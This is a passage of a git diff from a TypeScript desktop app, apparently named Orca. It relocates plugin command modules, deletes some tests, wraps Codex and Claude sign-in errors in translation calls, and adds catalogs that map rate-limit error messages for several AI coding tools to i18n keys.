-
-    await write(term, `\x1b[2J\x1b[H\x1b[3J${'after\r\n'.repeat(200)}`)
-    scheduler.advance(SETTLE_MS)
-
-    expect(term.buffer.active.baseY - term.buffer.active.viewportY).toBe(liveOffset)
-  })
-
-  it('abandons the pin once the reader scrolls again', async () => {
-    const { term, settle } = await pinnedTerminalWithRestore()
-
-    await write(term, `\x1b[2J\x1b[H\x1b[3J${'after\r\n'.repeat(120)}`)
-    term.scrollLines(-2)
-    markTerminalPinnedViewport(term)
-    const afterUserScrollY = term.buffer.active.viewportY
-
-    settle()
-    expect(term.buffer.active.viewportY).toBe(afterUserScrollY)
-  })
-})
diff --git a/src/renderer/src/lib/plugin-command-replacements.test.ts b/src/renderer/src/lib/plugin-command-replacements.test.ts
deleted file mode 100644
index c9a0b7ea2a7..00000000000
--- a/src/renderer/src/lib/plugin-command-replacements.test.ts
+++ /dev/null
@@ -1,106 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-
-const invokeCommand = vi.hoisted(() => vi.fn())
-const state: { plugins: unknown[]; off: string[]; workspace: string | null } = vi.hoisted(() => ({
-  plugins: [],
-  off: [],
-  workspace: 'wt-1'
-}))
-vi.mock('@/store', () => ({
-  useAppStore: {
-    getState: () => ({
-      settings: { pluginReplacementsOff: state.off },
-      activeWorktreeId: state.workspace
-    })
-  }
-}))
-vi.mock('@/store/plugins/catalog/plugin-contribution-catalog', () => ({
-  usePluginPanelsStore: { getState: () => ({ plugins: state.plugins }) },
-  collectActivePluginCommands: (
-    plugins: { pluginKey: string; name: string; commands: object[] }[]
-  ) =>
-    plugins.flatMap((plugin) =>
-      plugin.commands.map((command) => ({
-        ...command,
-        pluginKey: plugin.pluginKey,
-        pluginName: plugin.name
-      }))
-    )
-}))
-
-import {
-  PLUGIN_REPLACEMENT_TIMEOUT_MS,
-  PLUGIN_REPLACEMENT_UNANSWERED_GRACE_MS,
-  runBuiltInOrReplacement
-} from './plugin-command-replacements'
-
-const command = (extra: Record<string, unknown> = {}) => ({
-  id: 'tasks',
-  title: 'Tasks',
-  context: 'global',
-  handler: { type: 'worker' },
-  keybindings: [],
-  replaces: 'view.tasks',
-  ...extra
-})
-
-beforeEach(() => {
-  vi.useFakeTimers()
-  vi.spyOn(console, 'warn').mockImplementation(() => {})
-  invokeCommand.mockReset()
-  vi.stubGlobal('window', { api: { plugins: { invokeCommand } } })
-  state.plugins = [
-    { pluginKey: 'acme.tasks', name: 'Tasks plus', status: 'idle', commands: [command()] }
-  ]
-  state.off = []
-  state.workspace = 'wt-1'
-})
-
-afterEach(() => {
-  vi.useRealTimers()
-  vi.restoreAllMocks()
-  vi.unstubAllGlobals()
-})
-
-describe('a built-in action a plugin replaces', () => {
-  it("runs Orca's own when main gives up at the deadline, and only once", async () => {
-    const builtIn = vi.fn()
-    invokeCommand.mockReturnValueOnce(
-      new Promise((_resolve, reject) =>
-        setTimeout(() => reject(new Error('late')), PLUGIN_REPLACEMENT_TIMEOUT_MS)
-      )
-    )
-    runBuiltInOrReplacement('view.tasks', builtIn)
-    await vi.advanceTimersByTimeAsync(PLUGIN_REPLACEMENT_TIMEOUT_MS)
-    expect(builtIn).toHaveBeenCalledTimes(1)
-    await vi.advanceTimersByTimeAsync(PLUGIN_REPLACEMENT_UNANSWERED_GRACE_MS)
-    expect(builtIn).toHaveBeenCalledTimes(1)
-  })
-
-  it('leaves the 2 s cutoff to main, so a command main let finish never also falls back', async () => {
-    const builtIn = vi.fn()
-    let answer: (value: unknown) => void = () => {}
-    invokeCommand.mockReturnValueOnce(new Promise((resolve) => (answer = resolve)))
-    runBuiltInOrReplacement('view.tasks', builtIn)
-    await vi.advanceTimersByTimeAsync(PLUGIN_REPLACEMENT_TIMEOUT_MS + 100)
-    answer('ok')
-    await vi.advanceTimersByTimeAsync(0)
-    expect(builtIn).not.toHaveBeenCalled()
-  })
-
-  it("runs Orca's own when main never answers, and only once", async () => {
-    const builtIn = vi.fn()
-    let answer: (value: unknown) => void = () => {}
-    invokeCommand.mockReturnValueOnce(new Promise((resolve) => (answer = resolve)))
-    runBuiltInOrReplacement('view.tasks', builtIn)
-    await vi.advanceTimersByTimeAsync(
-      PLUGIN_REPLACEMENT_TIMEOUT_MS + PLUGIN_REPLACEMENT_UNANSWERED_GRACE_MS - 1
-    )
-    expect(builtIn).not.toHaveBeenCalled()
-    await vi.advanceTimersByTimeAsync(1)
-    expect(builtIn).toHaveBeenCalledTimes(1)
-    answer('late')
-    await vi.advanceTimersByTimeAsync(0)
-    expect(builtIn).toHaveBeenCalledTimes(1)
-  })
-})
diff --git a/src/renderer/src/lib/plugin-command-execution.ts b/src/renderer/src/lib/plugins/commands/plugin-command-execution.ts
similarity index 86%
rename from src/renderer/src/lib/plugin-command-execution.ts
rename to src/renderer/src/lib/plugins/commands/plugin-command-execution.ts
index abbebfc8210..40676a6ccc0 100644
--- a/src/renderer/src/lib/plugin-command-execution.ts
+++ b/src/renderer/src/lib/plugins/commands/plugin-command-execution.ts
@@ -1,5 +1,5 @@
 import type { ActivePluginCommand } from '@/store/plugins/catalog/plugin-contribution-catalog'
-import { dispatchAppCommand, type AppCommandSource } from './app-commands/app-command-dispatch'
+import { dispatchAppCommand, type AppCommandSource } from '../../app-commands/app-command-dispatch'
 
 /** Resolves with whatever a worker handler returned; built-in actions return nothing. */
 export async function executePluginCommand(
diff --git a/src/renderer/src/lib/plugin-command-keybindings.test.ts b/src/renderer/src/lib/plugins/commands/plugin-command-keybindings.test.ts
similarity index 74%
rename from src/renderer/src/lib/plugin-command-keybindings.test.ts
rename to src/renderer/src/lib/plugins/commands/plugin-command-keybindings.test.ts
index f08630a6aba..1434bfc95f0 100644
--- a/src/renderer/src/lib/plugin-command-keybindings.test.ts
+++ b/src/renderer/src/lib/plugins/commands/plugin-command-keybindings.test.ts
@@ -1,12 +1,12 @@
 // @vitest-environment happy-dom
 import { afterEach, describe, expect, it, vi } from 'vitest'
 import type { ActivePluginCommand } from '@/store/plugins/catalog/plugin-contribution-catalog'
-import type { KeybindingOverrides } from '../../../shared/keybindings'
+import type { KeybindingOverrides } from '../../../../../shared/keybindings/types'
 import {
   findPluginCommandForKeybinding,
-  globalShortcutTargetYields,
-  pluginCommandKeybindingActionId
+  globalShortcutTargetYields
 } from './plugin-command-keybindings'
+import { pluginCommandKeybindingActionId } from '../../../../../shared/plugins/contributions/plugin-command-actions'
 
 const command: ActivePluginCommand = {
   pluginKey: 'samples.tasks',
@@ -20,7 +20,7 @@ const command: ActivePluginCommand = {
 
 describe('plugin command keybindings', () => {
   it('matches effective overrides and honors explicit disablement', () => {
-    const actionId = pluginCommandKeybindingActionId(command)
+    const actionId = pluginCommandKeybindingActionId(command.pluginKey, command.id)
     const input = {
       key: 't',
       code: 'KeyT',
@@ -46,31 +46,9 @@ describe('plugin command keybindings', () => {
   })
 
   // #15642: plugin chords follow the terminal shortcut policy like Orca's own app shortcuts.
-  it('fires in terminal focus under orca-first and stays out under terminal-first', () => {
-    const input = { key: 't', code: 'KeyT', control: true, meta: false, alt: true, shift: false }
-    const find = (
-      terminalShortcutPolicy: 'orca-first' | 'terminal-first' | undefined,
-      overrides?: KeybindingOverrides
-    ) =>
-      findPluginCommandForKeybinding([command], input, 'linux', overrides, true, {
-        context: 'terminal',
-        terminalShortcutPolicy
-      })
-
-    expect(find('orca-first')).toBe(command)
-    // The policy defaults to orca-first, as it does for built-ins.
-    expect(find(undefined)).toBe(command)
-    expect(find('terminal-first')).toBeNull()
-    expect(
-      findPluginCommandForKeybinding([command], input, 'linux', undefined, true, {
-        context: 'app',
-        terminalShortcutPolicy: 'terminal-first'
-      })
-    ).toBe(command)
-  })
 
   it('matches effective bindings in terminal focus, so rebinds and unbinds apply there too', () => {
-    const actionId = pluginCommandKeybindingActionId(command)
+    const actionId = pluginCommandKeybindingActionId(command.pluginKey, command.id)
     const original = { key: 't', code: 'KeyT', control: true, meta: false, alt: true, shift: false }
     const rebound = { key: 't', code: 'KeyT', control: true, meta: false, alt: false, shift: true }
     const terminal = { context: 'terminal', terminalShortcutPolicy: 'orca-first' } as const
diff --git a/src/renderer/src/lib/plugin-command-keybindings.ts b/src/renderer/src/lib/plugins/commands/plugin-command-keybindings.ts
similarity index 74%
rename from src/renderer/src/lib/plugin-command-keybindings.ts
rename to src/renderer/src/lib/plugins/commands/plugin-command-keybindings.ts
index f54c7670e82..abd9800a668 100644
--- a/src/renderer/src/lib/plugin-command-keybindings.ts
+++ b/src/renderer/src/lib/plugins/commands/plugin-command-keybindings.ts
@@ -1,40 +1,36 @@
 import type { ActivePluginCommand } from '@/store/plugins/catalog/plugin-contribution-catalog'
+import '../../../../../shared/keybindings'
 import {
   getEffectiveKeybindingsForDefinition,
-  keybindingIsActiveInContext,
-  keybindingMatchesInput,
-  type KeybindingDefinition,
-  type KeybindingMatchOptions,
-  type KeybindingInput,
-  type KeybindingOverrides,
-  type KeybindingActionId,
-  type PluginKeybindingActionId
-} from '../../../shared/keybindings'
+  keybindingIsActiveInContext
+} from '../../../../../shared/keybindings/effective'
+import { keybindingMatchesInput } from '../../../../../shared/keybindings/matching'
+import type {
+  KeybindingDefinition,
+  KeybindingMatchOptions,
+  KeybindingInput,
+  KeybindingOverrides,
+  KeybindingActionId
+} from '../../../../../shared/keybindings/types'
 import {
   type fileSearchClaimsTextKey,
   textFieldClaimsActionKey
-} from './keyboard/text-field-shortcut-policy'
+} from '../../keyboard/text-field-shortcut-policy'
 import {
   isFloatingWorkspacePanelFocused,
   isFloatingWorkspaceTerminalInputTarget
-} from '../components/floating-terminal/floating-workspace-terminal-actions'
+} from '../../../components/floating-terminal/floating-workspace-terminal-actions'
 import { matchFloatingWorkspacePanelChord } from '@/components/floating-terminal/floating-workspace-shortcut-policy'
 import { translate } from '@/i18n/i18n'
-import { pluginCommandKeybindingActionId as sharedPluginCommandKeybindingActionId } from '../../../shared/plugins/contributions/plugin-command-actions'
-import { isWorkspaceScopedPluginContext } from '../../../shared/plugins/contributions/plugin-command-contribution'
-
-export function pluginCommandKeybindingActionId(
-  command: Pick<ActivePluginCommand, 'pluginKey' | 'id'>
-): PluginKeybindingActionId {
-  return sharedPluginCommandKeybindingActionId(command.pluginKey, command.id)
-}
+import { pluginCommandKeybindingActionId } from '../../../../../shared/plugins/contributions/plugin-command-actions'
+import { isWorkspaceScopedPluginContext } from '../../../../../shared/plugins/contributions/plugin-command-contribution'
 
 export function pluginCommandKeybindingDefinition(
   command: ActivePluginCommand
 ): KeybindingDefinition {
   const defaults = command.keybindings.map((keybinding) => keybinding.key)
   return {
-    id: pluginCommandKeybindingActionId(command),
+    id: pluginCommandKeybindingActionId(command.pluginKey, command.id),
     title: `${command.title} — ${command.pluginName}`,
     group: translate('auto.lib.pluginCommandKeybindings.group', 'Plugins'),
     scope: 'global',
diff --git a/src/renderer/src/lib/plugin-command-replacements.ts b/src/renderer/src/lib/plugins/commands/plugin-command-replacements.ts
similarity index 92%
rename from src/renderer/src/lib/plugin-command-replacements.ts
rename to src/renderer/src/lib/plugins/commands/plugin-command-replacements.ts
index 1cc648d2b93..3277824ac10 100644
--- a/src/renderer/src/lib/plugin-command-replacements.ts
+++ b/src/renderer/src/lib/plugins/commands/plugin-command-replacements.ts
@@ -1,11 +1,11 @@
-import type { PluginHostListEntry } from '../../../preload/api-types'
-import { useAppStore } from '@/store'
+import type { PluginHostListEntry } from '../../../../../shared/plugins/plugin-list-entry'
+import { useAppStore } from '@/store/index'
 import {
   collectActivePluginCommands,
   usePluginPanelsStore,
   type ActivePluginCommand
 } from '@/store/plugins/catalog/plugin-contribution-catalog'
-import { isWorkspaceScopedPluginContext } from '../../../shared/plugins/contributions/plugin-command-contribution'
+import { isWorkspaceScopedPluginContext } from '../../../../../shared/plugins/contributions/plugin-command-contribution'
 
 /** Past this a replacing command's worker is not waited for: Orca's own action runs. */
 export const PLUGIN_REPLACEMENT_TIMEOUT_MS = 2_000
diff --git a/src/renderer/src/lib/provider-accounts/provider-account-action-errors.ts b/src/renderer/src/lib/provider-accounts/provider-account-action-errors.ts
index 0f30e9ab077..e82faef9ab6 100644
--- a/src/renderer/src/lib/provider-accounts/provider-account-action-errors.ts
+++ b/src/renderer/src/lib/provider-accounts/provider-account-action-errors.ts
@@ -1,5 +1,22 @@
 import { CLAUDE_SIGN_IN_FAILED_MESSAGE } from '../../../../shared/claude-sign-in-link'
 import { CODEX_LOGIN_CANCELLED_MESSAGE } from '../../../../shared/codex-auth-errors'
+import { translate } from '@/i18n/i18n'
+
+const CODEX_SIGN_IN_FAILED_MESSAGE = 'Codex sign-in failed. Please try again.'
+
+function codexSignInFailedMessage(): string {
+  return translate(
+    'auto.components.status.bar.StatusBar.codexSignInError',
+    CODEX_SIGN_IN_FAILED_MESSAGE
+  )
+}
+
+function codexSignInTimedOutMessage(): string {
+  return translate(
+    'auto.components.settings.accountsPaneActionErrors.codexSignInTimedOut',
+    'Codex sign-in took too long to finish. Please try again.'
+  )
+}
 
 export function getCodexAccountErrorDescription(error: unknown): string {
   const message = String((error as Error)?.message ?? error)
@@ -11,34 +28,41 @@ export function getCodexAccountErrorDescription(error: unknown): string {
 
   // Normalize expected auth failures into actionable guidance without Electron wrappers or raw upstream wording.
   if (normalizedMessage.includes('timed out waiting for codex login to finish')) {
-    return 'Codex sign-in took too long to finish. Please try again.'
+    return codexSignInTimedOutMessage()
   }
   if (normalizedMessage.includes('codex sign-in took too long to finish')) {
-    return 'Codex sign-in took too long to finish. Please try again.'
+    return codexSignInTimedOutMessage()
   }
   if (
     normalizedMessage.includes('auth error 502') ||
     normalizedMessage.includes('gateway') ||
     normalizedMessage.includes('bad gateway')
   ) {
-    return 'Codex sign-in is temporarily unavailable. Please try again in a minute.'
+    return translate(
+      'auto.components.settings.accountsPaneActionErrors.codexSignInUnavailable',
+      'Codex sign-in is temporarily unavailable. Please try again in a minute.'
+    )
   }
   if (normalizedMessage.startsWith('codex login failed:')) {
     const loginMessage = message.slice('Codex login failed:'.length).trim()
-    return loginMessage || 'Codex sign-in failed. Please try again.'
+    return loginMessage || codexSignInFailedMessage()
   }
 
-  return message || 'Codex sign-in failed. Please try again.'
+  return message && message !== CODEX_SIGN_IN_FAILED_MESSAGE ? message : codexSignInFailedMessage()
 }
 
 export function getClaudeAccountErrorDescription(error: unknown): string {
-  return (
-    String((error as Error)?.message ?? error)
-      .replace(/^Error occurred in handler for 'claudeAccounts:[^']+':\s*/i, '')
-      .replace(/^Error invoking remote method 'claudeAccounts:[^']+':\s*/i, '')
-      .replace(/^Error:\s*/i, '')
-      .trim() || CLAUDE_SIGN_IN_FAILED_MESSAGE
-  )
+  const message = String((error as Error)?.message ?? error)
+    .replace(/^Error occurred in handler for 'claudeAccounts:[^']+':\s*/i, '')
+    .replace(/^Error invoking remote method 'claudeAccounts:[^']+':\s*/i, '')
+    .replace(/^Error:\s*/i, '')
+    .trim()
+  return message && message !== CLAUDE_SIGN_IN_FAILED_MESSAGE
+    ? message
+    : translate(
+        'auto.components.settings.accountsPaneActionErrors.claudeSignInFailed',
+        'Claude sign-in failed. Please try again.'
+      )
 }
 
 export function isCodexAccountCancellation(error: unknown): boolean {
diff --git a/src/renderer/src/lib/rate-limit-user-facing-error-catalog-a.ts b/src/renderer/src/lib/rate-limit-user-facing-error-catalog-a.ts
new file mode 100644
index 00000000000..aab360b590f
--- /dev/null
+++ b/src/renderer/src/lib/rate-limit-user-facing-error-catalog-a.ts
@@ -0,0 +1,204 @@
+import type { RateLimitKnownError } from './rate-limit-user-facing-error-types'
+
+export const KNOWN_RATE_LIMIT_ERRORS_A: RateLimitKnownError[] = [
+  {
+    test: 'Session cookie not configured',
+    key: 'auto.lib.rateLimits.errors.sessionCookieNotConfigured',
+    fallback: 'Session cookie not configured'
+  },
+  {
+    test: 'No auth cookie found — paste the full Cookie header from opencode.ai DevTools',
+    key: 'auto.lib.rateLimits.errors.opencodeNoAuthCookie',
+    fallback: 'No auth cookie found — paste the full Cookie header from opencode.ai DevTools'
+  },
+  {
+    test: 'No workspace ID found — set a Workspace ID override in settings',
+    key: 'auto.lib.rateLimits.errors.opencodeNoWorkspaceId',
+    fallback: 'No workspace ID found — set a Workspace ID override in settings'
+  },
+  {
+    test: /^No workspace ID found\b/i,
+    key: 'auto.lib.rateLimits.errors.opencodeNoWorkspaceIdShort',
+    fallback: 'No workspace ID found'
+  },
+  {
+    test: /^Workspaces fetch failed \((\d+)\)$/i,
+    key: 'auto.lib.rateLimits.errors.workspacesFetchFailed',
+    fallback: 'Workspaces fetch failed ({{status}})',
+    vars: (m) => ({ status: m[1] ?? '' })
+  },
+  {
+    test: /^Usage page fetch failed \((\d+)\)$/i,
+    key: 'auto.lib.rateLimits.errors.usagePageFetchFailed',
+    fallback: 'Usage page fetch failed ({{status}})',
+    vars: (m) => ({ status: m[1] ?? '' })
+  },
+  {
+    test: 'Could not parse usage data from page',
+    key: 'auto.lib.rateLimits.errors.couldNotParseUsagePage',
+    fallback: 'Could not parse usage data from page'
+  },
+  {
+    test: 'Could not parse usage data from any available workspace',
+    key: 'auto.lib.rateLimits.errors.couldNotParseUsageAnyWorkspace',
+    fallback: 'Could not parse usage data from any available workspace'
+  },
+  {
+    test: 'MiniMax session cookie not configured',
+    key: 'auto.lib.rateLimits.errors.minimaxCookieNotConfigured',
+    fallback: 'MiniMax session cookie not configured'
+  },
+  {
+    test: 'MiniMax session expired. Replace the MiniMax cookie in Settings.',
+    key: 'auto.lib.rateLimits.errors.minimaxSessionExpired',
+    fallback: 'MiniMax session expired. Replace the MiniMax cookie in Settings.'
+  },
+  {
+    test: 'MiniMax auth cookie not found — paste a Cookie header with _token',
+    key: 'auto.lib.rateLimits.errors.minimaxAuthCookieMissing',
+    fallback: 'MiniMax auth cookie not found — paste a Cookie header with _token'
+  },
+  {
+    test: 'MiniMax usage data for the configured model was not found',
+    key: 'auto.lib.rateLimits.errors.minimaxModelUsageMissing',
+    fallback: 'MiniMax usage data for the configured model was not found'
+  },
+  {
+    test: 'MiniMax session cookie could not be decrypted',
+    key: 'auto.lib.rateLimits.errors.minimaxCookieDecryptFailed',
+    fallback: 'MiniMax session cookie could not be decrypted'
+  },
+  {
+    test: 'Not signed in to Kimi Code',
+    key: 'auto.lib.rateLimits.errors.kimiNotSignedIn',
+    fallback: 'Not signed in to Kimi Code'
+  },
+  {
+    test: 'Kimi credentials file is invalid',
+    key: 'auto.lib.rateLimits.errors.kimiCredentialsInvalid',
+    fallback: 'Kimi credentials file is invalid'
+  },
+  {
+    test: 'Kimi credentials file is missing an access token',
+    key: 'auto.lib.rateLimits.errors.kimiCredentialsMissingToken',
+    fallback: 'Kimi credentials file is missing an access token'
+  },
+  {
+    test: 'Kimi usage response did not include quota windows',
+    key: 'auto.lib.rateLimits.errors.kimiQuotaWindowsMissing',
+    fallback: 'Kimi usage response did not include quota windows'
+  },
+  {
+    test: /^WSL Kimi home unavailable for (.+)$/i,
+    key: 'auto.lib.rateLimits.errors.wslKimiHomeUnavailable',
+    fallback: 'WSL Kimi home unavailable for {{distro}}',
+    vars: (m) => ({ distro: m[1] ?? '' })
+  },
+  {
+    test: /^Kimi session expired — run kimi (.+), then retry usage\.$/i,
+    key: 'auto.lib.rateLimits.errors.kimiSessionExpired',
+    fallback: 'Kimi session expired — run kimi {{where}}, then retry usage.',
+    vars: (m) => ({ where: m[1] ?? '' })
+  },
+  {
+    test: /^Kimi usage request unauthorized \(HTTP (\d+)\)$/i,
+    key: 'auto.lib.rateLimits.errors.kimiUsageUnauthorizedHttp',
+    fallback: 'Kimi usage request unauthorized (HTTP {{status}})',
+    vars: (m) => ({ status: m[1] ?? '' })
+  },
+  {
+    test: /^Kimi usage request failed \(HTTP (\d+)\)$/i,
+    key: 'auto.lib.rateLimits.errors.kimiUsageFailedHttp',
+    fallback: 'Kimi usage request failed (HTTP {{status}})',
+    vars: (m) => ({ status: m[1] ?? '' })
+  },
+  {
+    test: 'Not signed in to Grok — run grok login',
+    key: 'auto.lib.rateLimits.errors.grokNotSignedIn',
+    fallback: 'Not signed in to Grok — run grok login'
+  },
+  {
+    test: 'Grok auth file is invalid',
+    key: 'auto.lib.rateLimits.errors.grokAuthInvalid',
+    fallback: 'Grok auth file is invalid'
+  },
+  {
+    test: 'Unable to read Grok auth file',
+    key: 'auto.lib.rateLimits.errors.grokAuthUnreadable',
+    fallback: 'Unable to read Grok auth file'
+  },
+  {
+    test: 'Grok sign-in expired — run grok on the computer running Orca; sign in if prompted. No chat message is needed.',
+    key: 'auto.lib.rateLimits.errors.grokSignInExpired',
+    fallback:
+      'Grok sign-in expired — run grok on the computer running Orca; sign in if prompted. No chat message is needed.'
+  },
+  {
+    test: 'Grok billing response did not include config',
+    key: 'auto.lib.rateLimits.errors.grokBillingConfigMissing',
+    fallback: 'Grok billing response did not include config'
+  },
+  {
+    test: 'Grok billing response did not include credit usage',
+    key: 'auto.lib.rateLimits.errors.grokBillingUsageMissing',
+    fallback: 'Grok billing response did not include credit usage'
+  },
+  {
+    test: /^Grok usage request unauthorized \(HTTP (\d+)\)$/i,
+    key: 'auto.lib.rateLimits.errors.grokUsageUnauthorizedHttp',
+    fallback: 'Grok usage request unauthorized (HTTP {{status}})',
+    vars: (m) => ({ status: m[1] ?? '' })
+  },
+  {
+    test: /^Grok usage request failed \(HTTP (\d+)\)$/i,
+    key: 'auto.lib.rateLimits.errors.grokUsageFailedHttp',
+    fallback: 'Grok usage request failed (HTTP {{status}})',
+    vars: (m) => ({ status: m[1] ?? '' })
+  },
+  {
+    test: 'Gemini CLI OAuth is disabled in settings',
+    key: 'auto.lib.rateLimits.errors.geminiOauthDisabled',
+    fallback: 'Gemini CLI OAuth is disabled in settings'
+  },
+  {
+    test: 'Gemini CLI credentials not found',
+    key: 'auto.lib.rateLimits.errors.geminiCredentialsNotFound',
+    fallback: 'Gemini CLI credentials not found'
+  },
+  {
+    test: 'Gemini project ID not found',
+    key: 'auto.lib.rateLimits.errors.geminiProjectIdNotFound',
+    fallback: 'Gemini project ID not found'
+  },
+  {
+    test: 'Token refresh failed',
+    key: 'auto.lib.rateLimits.errors.tokenRefreshFailed',
+    fallback: 'Token refresh failed'
+  },
+  {
+    test: 'Codex not signed in',
+    key: 'auto.lib.rateLimits.errors.codexNotSignedIn',
+    fallback: 'Codex not signed in'
+  },
+  {
+    test: 'Codex home unavailable',
+    key: 'auto.lib.rateLimits.errors.codexHomeUnavailable',
+    fallback: 'Codex home unavailable'
+  },
+  {
+    test: /^WSL Codex home unavailable for (.+)$/i,
+    key: 'auto.lib.rateLimits.errors.wslCodexHomeUnavailable',
+    fallback: 'WSL Codex home unavailable for {{distro}}',
+    vars: (m) => ({ distro: m[1] ?? '' })
+  },
+  {
+    test: 'Codex is rebuilding its session index; usage will refresh when recovery finishes',
+    key: 'auto.lib.rateLimits.errors.codexRebuildingIndex',
+    fallback: 'Codex is rebuilding its session index; usage will refresh when recovery finishes'
+  },
+  {
+    test: /\bchatgpt authentication required to read rate limits\b/i,
+    key: 'auto.lib.rateLimits.errors.chatgptAuthRequired',
+    fallback: 'ChatGPT authentication required to read rate limits'
+  }
+]
diff --git a/src/renderer/src/lib/rate-limit-user-facing-error-catalog-b.ts b/src/renderer/src/lib/rate-limit-user-facing-error-catalog-b.ts
new file mode 100644
index 00000000000..73daea4e992
--- /dev/null
+++ b/src/renderer/src/lib/rate-limit-user-facing-error-catalog-b.ts
@@ -0,0 +1,189 @@
+import type { RateLimitKnownError } from './rate-limit-user-facing-error-types'
+
+export const KNOWN_RATE_LIMIT_ERRORS_B: RateLimitKnownError[] = [
+  {
+    test: 'Claude usage is rate limited right now.',
+    key: 'auto.lib.rateLimits.errors.claudeRateLimited',
+    fallback: 'Claude usage is rate limited right now.'
+  },
+  {
+    test: 'Claude usage is unavailable right now.',
+    key: 'auto.lib.rateLimits.errors.claudeUsageUnavailable',
+    fallback: 'Claude usage is unavailable right now.'
+  },
+  {
+    test: 'Claude OAuth access token unavailable',
+    key: 'auto.lib.rateLimits.errors.claudeOauthTokenUnavailable',
+    fallback: 'Claude OAuth access token unavailable'
+  },
+  {
+    test: 'Claude Keychain credentials unavailable',
+    key: 'auto.lib.rateLimits.errors.claudeKeychainUnavailable',
+    fallback: 'Claude Keychain credentials unavailable'
+  },
+  {
+    test: 'Claude plan usage is unavailable for this Claude CLI session.',
+    key: 'auto.lib.rateLimits.errors.claudePlanUsageUnavailable',
+    fallback: 'Claude plan usage is unavailable for this Claude CLI session.'
+  },
+  {
+    test: 'Waiting for Claude session',
+    key: 'auto.lib.rateLimits.errors.waitingForClaudeSession',
+    fallback: 'Waiting for Claude session'
+  },
+  {
+    test: /^WSL Claude config unavailable for (.+)$/i,
+    key: 'auto.lib.rateLimits.errors.wslClaudeConfigUnavailable',
+    fallback: 'WSL Claude config unavailable for {{distro}}',
+    vars: (m) => ({ distro: m[1] ?? '' })
+  },
+  {
+    test: 'No credentials',
+    key: 'auto.lib.rateLimits.errors.noCredentials',
+    fallback: 'No credentials'
+  },
+  {
+    test: 'Rate-limit fetch aborted',
+    key: 'auto.lib.rateLimits.errors.fetchAborted',
+    fallback: 'Rate-limit fetch aborted'
+  },
+  {
+    test: 'Failed to load usage data',
+    key: 'auto.lib.rateLimits.errors.failedToLoadUsage',
+    fallback: 'Failed to load usage data'
+  },
+  {
+    test: 'PTY timeout — /usage panel did not render',
+    key: 'auto.lib.rateLimits.errors.ptyUsageTimeout',
+    fallback: 'PTY timeout — /usage panel did not render'
+  },
+  {
+    test: 'CLI exited before /usage rendered',
+    key: 'auto.lib.rateLimits.errors.cliExitedBeforeUsage',
+    fallback: 'CLI exited before /usage rendered'
+  },
+  {
+    test: 'CLI exited before status was available',
+    key: 'auto.lib.rateLimits.errors.cliExitedBeforeStatus',
+    fallback: 'CLI exited before status was available'
+  },
+  {
+    test: /^Quota fetch failed \((\d+)\)$/i,
+    key: 'auto.lib.rateLimits.errors.quotaFetchFailed',
+    fallback: 'Quota fetch failed ({{status}})',
+    vars: (m) => ({ status: m[1] ?? '' })
+  },
+  {
+    test: /^Failed to load Gemini project ID \(HTTP (\d+)\)$/i,
+    key: 'auto.lib.rateLimits.errors.geminiProjectIdLoadFailed',
+    fallback: 'Failed to load Gemini project ID (HTTP {{status}})',
+    vars: (m) => ({ status: m[1] ?? '' })
+  },
+  {
+    test: 'Gemini project ID not found in API response',
+    key: 'auto.lib.rateLimits.errors.geminiProjectIdMissingInResponse',
+    fallback: 'Gemini project ID not found in API response'
+  },
+  {
+    test: /^MiniMax usage fetch failed \((\d+)\)$/i,
+    key: 'auto.lib.rateLimits.errors.minimaxUsageFetchFailed',
+    fallback: 'MiniMax usage fetch failed ({{status}})',
+    vars: (m) => ({ status: m[1] ?? '' })
+  },
+  {
+    test: 'MiniMax returned an error',
+    key: 'auto.lib.rateLimits.errors.minimaxReturnedError',
+    fallback: 'MiniMax returned an error'
+  },
+  {
+    test: 'Invalid MiniMax usage response',
+    key: 'auto.lib.rateLimits.errors.minimaxInvalidUsageResponse',
+    fallback: 'Invalid MiniMax usage response'
+  },
+  {
+    test: 'Unknown MiniMax usage error',
+    key: 'auto.lib.rateLimits.errors.minimaxUnknownUsageError',
+    fallback: 'Unknown MiniMax usage error'
+  },
+  {
+    test: 'Unable to read Kimi credentials',
+    key: 'auto.lib.rateLimits.errors.kimiCredentialsUnreadable',
+    fallback: 'Unable to read Kimi credentials'
+  },
+  {
+    test: 'Kimi usage request failed',
+    key: 'auto.lib.rateLimits.errors.kimiUsageRequestFailed',
+    fallback: 'Kimi usage request failed'
+  },
+  {
+    test: 'Grok usage request failed',
+    key: 'auto.lib.rateLimits.errors.grokUsageRequestFailed',
+    fallback: 'Grok usage request failed'
+  },
+  { test: 'RPC timeout', key: 'auto.lib.rateLimits.errors.rpcTimeout', fallback: 'RPC timeout' },
+  { test: 'RPC failed', key: 'auto.lib.rateLimits.errors.rpcFailed', fallback: 'RPC failed' },
+  {
+    test: 'Sign in with ChatGPT',
+    key: 'auto.lib.rateLimits.errors.signInWithChatgpt',
+    fallback: 'Sign in with ChatGPT'
+  },
+  {
+    test: 'Codex CLI not found',
+    key: 'auto.lib.rateLimits.errors.codexCliNotFound',
+    fallback: 'Codex CLI not found'
+  },
+  {
+    test: 'Codex CLI found but could not run — Node.js may not be in your PATH',
+    key: 'auto.lib.rateLimits.errors.codexCliCannotRun',
+    fallback: 'Codex CLI found but could not run — Node.js may not be in your PATH'
+  },
+  {
+    test: 'RPC process exited unexpectedly',
+    key: 'auto.lib.rateLimits.errors.rpcProcessExited',
+    fallback: 'RPC process exited unexpectedly'
+  },
+  { test: 'PTY timeout', key: 'auto.lib.rateLimits.errors.ptyTimeout', fallback: 'PTY timeout' },
+  {
+    test: 'Failed to parse CLI output',
+    key: 'auto.lib.rateLimits.errors.failedToParseCliOutput',
+    fallback: 'Failed to parse CLI output'
+  },
+  {
+    test: 'Timed out while checking Codex sign-in status',
+    key: 'auto.lib.rateLimits.errors.codexSignInCheckTimeout',
+    fallback: 'Timed out while checking Codex sign-in status'
+  },
+  {
+    test: 'Codex sign-in status is unavailable',
+    key: 'auto.lib.rateLimits.errors.codexSignInStatusUnavailable',
+    fallback: 'Codex sign-in status is unavailable'
+  },
+  {
+    test: /^Codex reset failed: HTTP (\d+)$/i,
+    key: 'auto.lib.rateLimits.errors.codexResetFailedHttp',
+    fallback: 'Codex reset failed: HTTP {{status}}',
+    vars: (m) => ({ status: m[1] ?? '' })
+  },
+  {
+    test: /^Unknown Codex reset outcome:/i,
+    key: 'auto.lib.rateLimits.errors.codexResetUnknownOutcome',
+    fallback: 'Unknown Codex reset outcome'
+  },
+  {
+    test: 'Codex reset idempotency key is required',
